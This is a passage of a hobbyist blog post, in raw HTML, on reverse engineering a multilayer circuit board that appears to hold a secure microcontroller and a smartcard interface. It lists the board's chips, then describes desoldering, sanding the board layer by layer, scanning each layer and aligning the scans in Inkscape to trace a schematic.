<span style="font-family: "times new roman"; font-size: 10.5pt;">Mcu side(back):</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">1. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">HC4053 - ((</span><span style="font-family: "times new roman"; font-size: 10.5pt;">ANALOGMULTIPLEXER/DEMULTIPLEXER: TRIPLE2CHANNEL)) x 2</span><span style="font-family: "times new roman"; font-size: 10.5pt;">, </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">2. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">FT232BL - ((</span><span style="font-family: "times new roman"; font-size: 10.5pt;">FT232BL/BQ USB UART IC))</span><span style="font-family: "times new roman"; font-size: 10.5pt;">, </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">3. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">93LC46-81 - ((</span><span style="font-family: "times new roman"; font-size: 10.5pt;">1K/2K/4K 2.5V Microwire Serial EEPROM))</span><span style="font-family: "times new roman"; font-size: 10.5pt;">, </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">4. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">MC33560 - ((</span><span style="font-family: "times new roman"; font-size: 10.5pt;">Power Management and Interface IC for Smartcard Readers and Couplers)),</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">5. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">LM2597 - ((</span><span style="font-family: "times new roman"; font-size: 10.5pt;">Voltage Regulator, with Features))</span><span style="font-family: "times new roman"; font-size: 10.5pt;">, </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">6. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">Hm628100l - </span><span style="font-family: "times new roman"; font-size: 10.5pt;">Wide Temperature Range Version 8 M SRAM (1024-kword ´ 8-bit)</span><span style="font-family: "times new roman"; font-size: 10.5pt;">,</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">7. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">ADG713-BR - ((</span><span style="font-family: "times new roman"; font-size: 10.5pt;">CMOS Low Voltage 4 OHM Quad SPST Switches))</span><span style="font-family: "times new roman"; font-size: 10.5pt;">,</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">8. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">ST16c550 - ((</span><span style="font-family: "times new roman"; font-size: 10.5pt;">UART WITH 16-BYTE FIFO’s))</span><span style="font-family: "times new roman"; font-size: 10.5pt;">, </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">9. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">ispLSI 2032e - ((</span><span style="font-family: "times new roman"; font-size: 10.5pt;">In-System Programmable SuperFAST™ High Density PLD))</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">10. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">Apex HG128x64(Y?****)</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "arial"; font-size: 9.5pt;"><span style="mso-list: Ignore;">11. </span></span><span style="font-family: "arial"; font-size: 9.5pt;">**Maxim </span><span style="font-family: "arial"; font-size: 9.5pt;">DS5250</span><span style="font-family: "arial"; font-size: 9.5pt;"> ((High Speed Secure Microcontroller With Self Destruct Input))**</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br />
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">So far i have been using inkscape(art vector program) to create layers of the board,</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">the biggest issue with this program is no matter how much ram you have </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">even if you have a new shiny 64 bit machine</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">inkscape cant handle too much at once without employing several layers </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">and turning them off and on as needed, i will elaborate more on that later.</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">First i take as many high resolution photos of both sides of the board </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">documenting all the chips that i can, sometimes the lettering isn't visible</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">even under a bit of magnificationso i normally take a UNI Posca</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">and in a light colour cover the chip markings with it, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">after letting it dry i wipe it off with a cotton sightly moist cotton tip</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">this leaves the lettering in a nice readable state.</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Then all components have to come off the board, bagging them up for later use,</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> a quick wipe off with some isopropyl alcohol and take some high resolution scans, </span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">i scan the board in as high a resolution(dpi) as possible.</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> (the file sizes may get a bit excessive 20-70mb each if bmp) </span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">At this point we should have at least 4 photo/scans, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">i have many more close ups taken of various “sections”,</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">because ultimately we will need all the locations of the chips, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">polarity markings and even the silkscreen-</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">lettering will add to the arsenal to reverse the working of the board.</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">A thing to note when scanning these images:</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">ensure they are all taken with the board on the same angle in relation to the scanner,</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> this will help to line up the scans later on without having to rotate from the edges,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">as you can see the front or back image will have to be mirrored</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">in order to show its actual position in 3d space but we do this in inkscape.</span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9UKv2wCNHMa5xERSfuyOYrSri5eyVjHGE1_p9gcr6Xnr1pGwNiwNcfqSn3ZoDdkqXbTS25_dVmqBLEJnGLKZ-FclRoXuKPq22TwhQmO6qkbX12iK3g4s8U1KWkWEWYeiJCr9kCrwFxeha/s1600/Untitled.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9UKv2wCNHMa5xERSfuyOYrSri5eyVjHGE1_p9gcr6Xnr1pGwNiwNcfqSn3ZoDdkqXbTS25_dVmqBLEJnGLKZ-FclRoXuKPq22TwhQmO6qkbX12iK3g4s8U1KWkWEWYeiJCr9kCrwFxeha/s1600/Untitled.jpg" /></a></div>
<div style="text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"></span><br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> Next step is to get some sandpaper and a block, ensuring you have on gloves and a respirator</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">(kinda just good OHS),</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> a few rubs of the sandpaper over the top layer will reveal most of the top layer traces,</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> we are removing as much of the silk screen and solder as possible without going down to far,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> you can stop once you feel you have removed enough to take some clean shots.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Water and a cloth with surely help with getting rid of the dust off the board,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> also as we have agitated the copper and introduced oxygen,</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> it will soon start to tarnish so try and take your shots as soon as possible,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> wiping with a moist cloth will help to revive the copper a little for a short period but once its done its done.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">The best example of this is the difference in photo to scans that i have that were taken 12+ hrs apart below</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjasnnI6XvVLgnqYcsq8_kQBcC5-WIJsaZKXhhr0PcdbGrLoSN5T0-S4a0zRQ8Li39Ry2Rx22KSzdCgxs9fQX5f3w0AdC0tIXw-zj18bXNm0bltAh45yUw7mSsyIJtnW2TigVCHnu9ombsG/s1600/18.jpg" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3XlvD52omTryhfHagjttT8UZfxK8Phr3gP7eZDB_U7c7hyphenhypheneM_-LYZyTi2R6bK76vZN8L_Agyzg5SMpSjF21-a0y9M-d4rCVcUtjR3qYKByQiV5SqkzeAuTv4Yq-jpxhOzdAUR3xNbNx_9/s1600/2.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3XlvD52omTryhfHagjttT8UZfxK8Phr3gP7eZDB_U7c7hyphenhypheneM_-LYZyTi2R6bK76vZN8L_Agyzg5SMpSjF21-a0y9M-d4rCVcUtjR3qYKByQiV5SqkzeAuTv4Yq-jpxhOzdAUR3xNbNx_9/s1600/2.jpg" /></a></div>
<div style="text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"></span><br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">These shots arent high resolution as it would be silly for</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">you to view a 100mb file</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">But they do show the process so they help to use as pointers.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">These next few layers should be scanned regularly, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">i made the mistake of only taking photos and have to go back and redo them, </span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">as these layers may contain traces and via exits(the layer a via is connected to) </span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">they make it much easier to make sense of the power distribution layers and </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">the ground planes across the entire board front and back.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Here i have two photos one of the back and one of </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">the front where i have tried to mark the vias that end on this layer, this is much easyier with hd scans.</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik_K6N0epDS1LYIfcJDSfrubmYycVUdjszg7MzzGeH5lxpg9GAb0jugKXLlXLby250HxGT6pyAbx2lI6cd6pRZySoNlW2b857npbG99jX32nLG0EyOJJwBNplXTWbv_Sx39QRNhGR0JFU9/s1600/3.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik_K6N0epDS1LYIfcJDSfrubmYycVUdjszg7MzzGeH5lxpg9GAb0jugKXLlXLby250HxGT6pyAbx2lI6cd6pRZySoNlW2b857npbG99jX32nLG0EyOJJwBNplXTWbv_Sx39QRNhGR0JFU9/s1600/3.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Documenting as many of the previous layers is the best plan of attack,</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">as the more reference materials you posses the more power you hold which</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">means less effort you have to exert.</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Now if like me you start to come to the middle and start to see bond(micro) wires slow down, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">ensure you have both layers at the same point and clean up as much as you can</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> while taking off little as possible and then time for some more scans,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> once again your dpi is very important here as high as you can go is best </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">and as hard as it may seem you need to keep the scans rather straight when flipping the board over,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> if you take a point and ensure it stays the same distance away from the edge or similar feature.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf0rzpmkWKinheC_Bzks0JAfwkGq9bx3SeEdhIrIllZDWAykaa-0K-AcOFQJE0DUomwAXh5cVYDhd-wYPrCEAicQv2AdJlRlbRezESADJDN-LODHYCCmjCCOzLrYL70HzINW9UvcVpYJbl/s1600/4.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf0rzpmkWKinheC_Bzks0JAfwkGq9bx3SeEdhIrIllZDWAykaa-0K-AcOFQJE0DUomwAXh5cVYDhd-wYPrCEAicQv2AdJlRlbRezESADJDN-LODHYCCmjCCOzLrYL70HzINW9UvcVpYJbl/s1600/4.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">So these are the back and front respectively,</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Now the predictable parts to this so far are based solely </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">on the fact that in order to carry certain frequencies and amounts </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">of power these wires must be a minimum size and adhere to several rules of electrical design,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> as i said in my previous post i am not trained in electrical design rules </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">but some quick searches quickly bring up many factors that would be at play here.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">I started with this :</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">http://sjo.cn/downloads/ebook/High-Speed%20Digital%20System%20Design.pdf</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">High-Speed Digital System Design : A Handbook of Interconnect Theory and Design Practices</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 10.5pt;">Stephen H. Hall</span><span style="font-family: "arial"; font-size: 10.5pt;">, </span><span style="font-family: "arial"; font-size: 10.5pt;">Garrett W. Hall</span><span style="font-family: "arial"; font-size: 10.5pt;">, </span><span style="font-family: "arial"; font-size: 10.5pt;">James A. McCall</span><span style="font-family: "arial"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">These wires are grouped in buses and in some cases actually cross over one other.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Now we begin the hard part of reconstructing the images and tracing out the components </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">around the board to ultimately draw up the rough schematic </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">and then after adding in some values we get the final schematic. So lets begin..</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">First open inkscape then File>Import and select your first layer scan (most populated back in my case)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Leave the import settings as they are :</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK5rvRE2dK3uofjSWBYnDRoEAk4QufAH41xI51MeR6iJzK-nf4MFvE2cnOKddKD-ycnbzAcKu9dghsmZOAz2cHqTW6a6BGVqwqBICitCMG-xVW15BBkTd2mU_4hJEaL3CtYNdStDbLNcvS/s1600/1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK5rvRE2dK3uofjSWBYnDRoEAk4QufAH41xI51MeR6iJzK-nf4MFvE2cnOKddKD-ycnbzAcKu9dghsmZOAz2cHqTW6a6BGVqwqBICitCMG-xVW15BBkTd2mU_4hJEaL3CtYNdStDbLNcvS/s1600/1.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Im unsure if linking the file will make it any less ram intensive but you may change it if you like,</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Next step is to resize the canvas the easiest way to do this is ensure the picture is selected</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> then File>Document Properties> Click <+Resize page to Content+> </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">then click [Resize page to drawing or secection]</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Now we are right to start laying them together, if the layers bar is not up press Shft+Ctrl+L to bring it up.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Press the PLUS(+) button to add a few layers above the current layer as we will need them.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Our picture is now in layer 1 we can click the eye </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">and lock next to layer 1 this will hide and lock the picture for now</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Clicking on layer 2 we can now import in our next layer (the front layer in my case), </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">if you haven't already its time to mirror this image, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">simply clicking it and then pressing the mirror button on the toolbar will flip it over.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Change the layer names to correspond to the layers of your board by simply double clicking its name,</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Now unhide the back layer then click back onto your other layer</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> change the opacity until you can line up the edges between the two</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> looking for distinct marks/slots will help a great deal, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">in my case its the circles that help to ensure its lined up at least at that point </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> and then stretching the edges so that the corners line up,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">rinse and repeat with the inner layer, you may not have to use both the front and back scans</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> but sometimes they are quite different as to how visible a certain wire is,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> see red and black colourings on my inner scans, it becomes much easier to line every thing up</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> once the inner layer is applied.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">This is with the microwire layer on top of the front layer(keypad in this case) and set on 51.4% Opacity</span></div>
<div class="separator" style="clear: both; text-align: left;">
